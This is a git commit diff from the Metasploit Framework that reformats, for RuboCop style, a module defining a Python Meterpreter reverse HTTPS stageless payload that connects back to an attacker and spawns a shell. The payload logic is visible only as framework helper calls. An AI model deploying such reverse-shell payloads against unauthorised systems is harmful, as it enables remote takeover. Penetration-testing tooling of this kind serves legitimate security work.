modules/payloads/singles: Resolve RuboCop violations

This commit is contained in:
bcoles
2025-04-20 02:57:34 +10:00
parent 6fb76f9b51
commit 03f4c46010
282 changed files with 7295 additions and 7325 deletions
@@ -3,9 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
@@ -14,32 +12,35 @@ module MetasploitModule
include Msf::Payload::Python::MeterpreterLoader
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
super(
merge_info(
info,
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_Python_Python
)
)
register_advanced_options(
Msf::Opt::http_header_options +
Msf::Opt::http_proxy_options
Msf::Opt.http_header_options +
Msf::Opt.http_proxy_options
)
end
def generate_reverse_http(opts={})
def generate_reverse_http(opts = {})
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
url: generate_callback_url(opts),
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port],
stageless: true
stageless: true
})
py_create_exec_stub(met)